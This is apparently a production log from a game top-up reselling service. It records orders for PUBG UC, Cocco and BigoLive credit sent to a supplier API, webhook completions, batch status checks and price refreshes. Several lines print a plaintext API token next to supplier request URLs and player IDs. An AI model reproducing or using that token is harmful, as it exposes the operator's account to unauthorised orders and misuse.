[2026-03-24 00:21:23] production.INFO: Operation sent successfully {"operation_id":163403,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-5vxvnt5W-1774300883","amount":88.7399999999999948840923025272786617279052734375,"status":"processing","product":"6000+2100UC","game":"PUBG","notes":[],"created_at":"2026-03-24 00:21:23"}},"processed_data":{"order_number":"ORD-5vxvnt5W-1774300883","amount":88.7399999999999948840923025272786617279052734375,"status":"processing","product":"6000+2100UC","game":"PUBG"}} 
[2026-03-24 00:22:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"kZqbvnS6W1wGMVdx5jQ448PdS2yJRX6q","execution_time":"2026-03-24 00:22:02"} 
[2026-03-24 00:22:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"kZqbvnS6W1wGMVdx5jQ448PdS2yJRX6q","execution_time":"2026-03-24 00:22:02","total_operations":6,"sites_count":1} 
[2026-03-24 00:22:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"kZqbvnS6W1wGMVdx5jQ448PdS2yJRX6q","execution_time":"2026-03-24 00:22:02","site_id":3,"site_name":"swgamessd","orders_count":6,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-7tR-1774300729","ORD-5vxvnt5W-1774300883"]} 
[2026-03-24 00:22:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"kZqbvnS6W1wGMVdx5jQ448PdS2yJRX6q","execution_time":"2026-03-24 00:22:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:22:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"kZqbvnS6W1wGMVdx5jQ448PdS2yJRX6q","execution_time":"2026-03-24 00:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":6} 
[2026-03-24 00:22:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"kZqbvnS6W1wGMVdx5jQ448PdS2yJRX6q","execution_time":"2026-03-24 00:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5vxvnt5W-1774300883","operation_id":163403} 
[2026-03-24 00:22:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"kZqbvnS6W1wGMVdx5jQ448PdS2yJRX6q","execution_time":"2026-03-24 00:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-7tR-1774300729","operation_id":163402} 
[2026-03-24 00:22:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"kZqbvnS6W1wGMVdx5jQ448PdS2yJRX6q","execution_time":"2026-03-24 00:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:22:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"kZqbvnS6W1wGMVdx5jQ448PdS2yJRX6q","execution_time":"2026-03-24 00:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:22:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"kZqbvnS6W1wGMVdx5jQ448PdS2yJRX6q","execution_time":"2026-03-24 00:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:22:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"kZqbvnS6W1wGMVdx5jQ448PdS2yJRX6q","execution_time":"2026-03-24 00:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:22:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"kZqbvnS6W1wGMVdx5jQ448PdS2yJRX6q","execution_time":"2026-03-24 00:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":6,"updates_prepared":0} 
[2026-03-24 00:22:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"kZqbvnS6W1wGMVdx5jQ448PdS2yJRX6q","execution_time":"2026-03-24 00:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 00:22:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"kZqbvnS6W1wGMVdx5jQ448PdS2yJRX6q","execution_time":"2026-03-24 00:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:22:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-7tR-1774300729","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 00:22:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-7tR-1774300729","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 00:22:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:22:04] production.INFO: SendAcceptReject: Notification queued {"user_id":1706,"notification_type":"order_approved","reference_id":178469} 
[2026-03-24 00:22:04] production.INFO: Order updated successfully. Order ID: 178469, Status: completed  
[2026-03-24 00:22:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-7tR-1774300729","status":"completed","codes_count":0} 
[2026-03-24 00:22:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1706  
[2026-03-24 00:23:43] production.INFO: Constructing job for order: 178471  
[2026-03-24 00:23:45] production.INFO: Handling job for order: 178471  
[2026-03-24 00:23:45] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:23:45] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:23:45] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/604/params?qty=76000&uuid=b756d7a1-5cbd-4d64-818b-d750a7a08f7a&Player_ID=13331  
[2026-03-24 00:23:45] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/604/params?qty=76000&uuid=b756d7a1-5cbd-4d64-818b-d750a7a08f7a&Player_ID=13331","has_body":false} 
[2026-03-24 00:23:45] production.INFO: Operation sent successfully {"operation_id":163404,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-BAtP-1774301025","amount":7.45977999999999941138639769633300602436065673828125,"status":"processing","product":"Cocco Amount","game":"Cocco","notes":[],"created_at":"2026-03-24 00:23:45"}},"processed_data":{"order_number":"ORD-BAtP-1774301025","amount":7.45977999999999941138639769633300602436065673828125,"status":"processing","product":"Cocco Amount","game":"Cocco"}} 
[2026-03-24 00:23:52] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-BAtP-1774301025","status":"completed","notes":["جميع العمليات اكتملت بنجاح","-✅ تم شحن الحساب الشيخ³¹³📿 بنجاح"],"codes":[]}} 
[2026-03-24 00:23:52] production.INFO: Processed webhook data (normalized) {"id":"ORD-BAtP-1774301025","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح","-✅ تم شحن الحساب الشيخ³¹³📿 بنجاح"]} 
[2026-03-24 00:23:52] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:23:52] production.INFO: SendAcceptReject: Notification queued {"user_id":1689,"notification_type":"order_approved","reference_id":178471} 
[2026-03-24 00:23:52] production.INFO: Order updated successfully. Order ID: 178471, Status: completed  
[2026-03-24 00:23:52] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-BAtP-1774301025","status":"completed","codes_count":0} 
[2026-03-24 00:23:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1689  
[2026-03-24 00:24:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"zc7j0TK0a7Xy6IZJfHfwiG6OkV6016iy","execution_time":"2026-03-24 00:24:03"} 
[2026-03-24 00:24:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"zc7j0TK0a7Xy6IZJfHfwiG6OkV6016iy","execution_time":"2026-03-24 00:24:03","total_operations":5,"sites_count":1} 
[2026-03-24 00:24:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"zc7j0TK0a7Xy6IZJfHfwiG6OkV6016iy","execution_time":"2026-03-24 00:24:03","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-5vxvnt5W-1774300883"]} 
[2026-03-24 00:24:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"zc7j0TK0a7Xy6IZJfHfwiG6OkV6016iy","execution_time":"2026-03-24 00:24:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:24:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"zc7j0TK0a7Xy6IZJfHfwiG6OkV6016iy","execution_time":"2026-03-24 00:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 00:24:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zc7j0TK0a7Xy6IZJfHfwiG6OkV6016iy","execution_time":"2026-03-24 00:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5vxvnt5W-1774300883","operation_id":163403} 
[2026-03-24 00:24:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zc7j0TK0a7Xy6IZJfHfwiG6OkV6016iy","execution_time":"2026-03-24 00:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:24:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zc7j0TK0a7Xy6IZJfHfwiG6OkV6016iy","execution_time":"2026-03-24 00:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:24:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zc7j0TK0a7Xy6IZJfHfwiG6OkV6016iy","execution_time":"2026-03-24 00:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:24:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"zc7j0TK0a7Xy6IZJfHfwiG6OkV6016iy","execution_time":"2026-03-24 00:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:24:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"zc7j0TK0a7Xy6IZJfHfwiG6OkV6016iy","execution_time":"2026-03-24 00:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":5,"updates_prepared":0} 
[2026-03-24 00:24:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"zc7j0TK0a7Xy6IZJfHfwiG6OkV6016iy","execution_time":"2026-03-24 00:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 00:24:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"zc7j0TK0a7Xy6IZJfHfwiG6OkV6016iy","execution_time":"2026-03-24 00:24:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:25:04] production.INFO: Executing GetProducts task...  
[2026-03-24 00:25:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 00:25:04] production.INFO: Executing GetProducts task...  
[2026-03-24 00:25:06] production.INFO: async() رجع: true  
[2026-03-24 00:25:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 00:25:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 00:25:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 00:25:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 00:25:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 00:25:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 00:25:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 00:25:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 00:25:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 00:25:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 00:25:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 00:26:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"xZsjGmRG0EXVsLeMw6QNZIIXakgBWRg5","execution_time":"2026-03-24 00:26:01"} 
[2026-03-24 00:26:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"xZsjGmRG0EXVsLeMw6QNZIIXakgBWRg5","execution_time":"2026-03-24 00:26:01","total_operations":5,"sites_count":1} 
[2026-03-24 00:26:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"xZsjGmRG0EXVsLeMw6QNZIIXakgBWRg5","execution_time":"2026-03-24 00:26:01","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-5vxvnt5W-1774300883"]} 
[2026-03-24 00:26:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"xZsjGmRG0EXVsLeMw6QNZIIXakgBWRg5","execution_time":"2026-03-24 00:26:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:26:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"xZsjGmRG0EXVsLeMw6QNZIIXakgBWRg5","execution_time":"2026-03-24 00:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 00:26:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"xZsjGmRG0EXVsLeMw6QNZIIXakgBWRg5","execution_time":"2026-03-24 00:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5vxvnt5W-1774300883","operation_id":163403} 
[2026-03-24 00:26:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"xZsjGmRG0EXVsLeMw6QNZIIXakgBWRg5","execution_time":"2026-03-24 00:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:26:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"xZsjGmRG0EXVsLeMw6QNZIIXakgBWRg5","execution_time":"2026-03-24 00:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:26:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"xZsjGmRG0EXVsLeMw6QNZIIXakgBWRg5","execution_time":"2026-03-24 00:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:26:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"xZsjGmRG0EXVsLeMw6QNZIIXakgBWRg5","execution_time":"2026-03-24 00:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:26:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"xZsjGmRG0EXVsLeMw6QNZIIXakgBWRg5","execution_time":"2026-03-24 00:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":5,"updates_prepared":0} 
[2026-03-24 00:26:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"xZsjGmRG0EXVsLeMw6QNZIIXakgBWRg5","execution_time":"2026-03-24 00:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 00:26:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"xZsjGmRG0EXVsLeMw6QNZIIXakgBWRg5","execution_time":"2026-03-24 00:26:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:26:44] production.INFO: Constructing job for order: 178472  
[2026-03-24 00:26:46] production.INFO: Handling job for order: 178472  
[2026-03-24 00:26:46] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:26:46] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:26:46] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=50&uuid=1e6b17ad-b51a-4831-863f-3075b00444a5&Player_ID=777022745  
[2026-03-24 00:26:46] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=50&uuid=1e6b17ad-b51a-4831-863f-3075b00444a5&Player_ID=777022745","has_body":false} 
[2026-03-24 00:26:47] production.INFO: Operation sent successfully {"operation_id":163405,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-MDbjKQ-1774301207","amount":0.8739130399999999188054289334104396402835845947265625,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 00:26:47"}},"processed_data":{"order_number":"ORD-MDbjKQ-1774301207","amount":0.8739130399999999188054289334104396402835845947265625,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 00:26:52] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-MDbjKQ-1774301207","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 00:26:52] production.INFO: Processed webhook data (normalized) {"id":"ORD-MDbjKQ-1774301207","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 00:26:52] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:26:52] production.INFO: SendAcceptReject: Notification queued {"user_id":1141,"notification_type":"order_approved","reference_id":178472} 
[2026-03-24 00:26:52] production.INFO: Order updated successfully. Order ID: 178472, Status: completed  
[2026-03-24 00:26:52] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-MDbjKQ-1774301207","status":"completed","codes_count":0} 
[2026-03-24 00:26:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1141  
[2026-03-24 00:27:53] production.INFO: SendAcceptReject: Notification queued {"user_id":802,"notification_type":"request_approved","reference_id":18593} 
[2026-03-24 00:27:56] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 802  
[2026-03-24 00:28:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"fKooX0DsKXddR8N7jgOX1MfPuz7oOgbb","execution_time":"2026-03-24 00:28:02"} 
[2026-03-24 00:28:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"fKooX0DsKXddR8N7jgOX1MfPuz7oOgbb","execution_time":"2026-03-24 00:28:02","total_operations":5,"sites_count":1} 
[2026-03-24 00:28:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"fKooX0DsKXddR8N7jgOX1MfPuz7oOgbb","execution_time":"2026-03-24 00:28:02","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-5vxvnt5W-1774300883"]} 
[2026-03-24 00:28:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"fKooX0DsKXddR8N7jgOX1MfPuz7oOgbb","execution_time":"2026-03-24 00:28:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:28:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"fKooX0DsKXddR8N7jgOX1MfPuz7oOgbb","execution_time":"2026-03-24 00:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 00:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fKooX0DsKXddR8N7jgOX1MfPuz7oOgbb","execution_time":"2026-03-24 00:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5vxvnt5W-1774300883","operation_id":163403} 
[2026-03-24 00:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fKooX0DsKXddR8N7jgOX1MfPuz7oOgbb","execution_time":"2026-03-24 00:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fKooX0DsKXddR8N7jgOX1MfPuz7oOgbb","execution_time":"2026-03-24 00:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fKooX0DsKXddR8N7jgOX1MfPuz7oOgbb","execution_time":"2026-03-24 00:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fKooX0DsKXddR8N7jgOX1MfPuz7oOgbb","execution_time":"2026-03-24 00:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:28:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"fKooX0DsKXddR8N7jgOX1MfPuz7oOgbb","execution_time":"2026-03-24 00:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":5,"updates_prepared":0} 
[2026-03-24 00:28:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"fKooX0DsKXddR8N7jgOX1MfPuz7oOgbb","execution_time":"2026-03-24 00:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 00:28:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"fKooX0DsKXddR8N7jgOX1MfPuz7oOgbb","execution_time":"2026-03-24 00:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:30:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"TlCz8ykxyu0OBur4XLxPuOYuJnM6uA1g","execution_time":"2026-03-24 00:30:04"} 
[2026-03-24 00:30:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"TlCz8ykxyu0OBur4XLxPuOYuJnM6uA1g","execution_time":"2026-03-24 00:30:04","total_operations":5,"sites_count":1} 
[2026-03-24 00:30:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"TlCz8ykxyu0OBur4XLxPuOYuJnM6uA1g","execution_time":"2026-03-24 00:30:04","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795","ORD-5vxvnt5W-1774300883"]} 
[2026-03-24 00:30:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"TlCz8ykxyu0OBur4XLxPuOYuJnM6uA1g","execution_time":"2026-03-24 00:30:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:30:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"TlCz8ykxyu0OBur4XLxPuOYuJnM6uA1g","execution_time":"2026-03-24 00:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 00:30:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TlCz8ykxyu0OBur4XLxPuOYuJnM6uA1g","execution_time":"2026-03-24 00:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5vxvnt5W-1774300883","operation_id":163403} 
[2026-03-24 00:30:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TlCz8ykxyu0OBur4XLxPuOYuJnM6uA1g","execution_time":"2026-03-24 00:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:30:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TlCz8ykxyu0OBur4XLxPuOYuJnM6uA1g","execution_time":"2026-03-24 00:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:30:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TlCz8ykxyu0OBur4XLxPuOYuJnM6uA1g","execution_time":"2026-03-24 00:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:30:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"TlCz8ykxyu0OBur4XLxPuOYuJnM6uA1g","execution_time":"2026-03-24 00:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:30:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"TlCz8ykxyu0OBur4XLxPuOYuJnM6uA1g","execution_time":"2026-03-24 00:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":5,"updates_prepared":0} 
[2026-03-24 00:30:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"TlCz8ykxyu0OBur4XLxPuOYuJnM6uA1g","execution_time":"2026-03-24 00:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 00:30:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"TlCz8ykxyu0OBur4XLxPuOYuJnM6uA1g","execution_time":"2026-03-24 00:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:30:04] production.INFO: Executing GetProducts task...  
[2026-03-24 00:30:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 00:30:04] production.INFO: Executing GetProducts task...  
[2026-03-24 00:30:06] production.INFO: async() رجع: true  
[2026-03-24 00:30:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 00:30:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 00:30:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 00:30:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 00:30:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 00:30:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 00:30:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 00:30:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 00:30:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 00:30:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 00:30:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 00:30:30] production.INFO: Constructing job for order: 178473  
[2026-03-24 00:30:31] production.INFO: Handling job for order: 178473  
[2026-03-24 00:30:31] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:30:31] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:30:31] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/571/params?qty=10000&uuid=bb3cd8dd-5f6a-45c4-bbd3-0ef1e7c9ab5d&Player_ID=27237727  
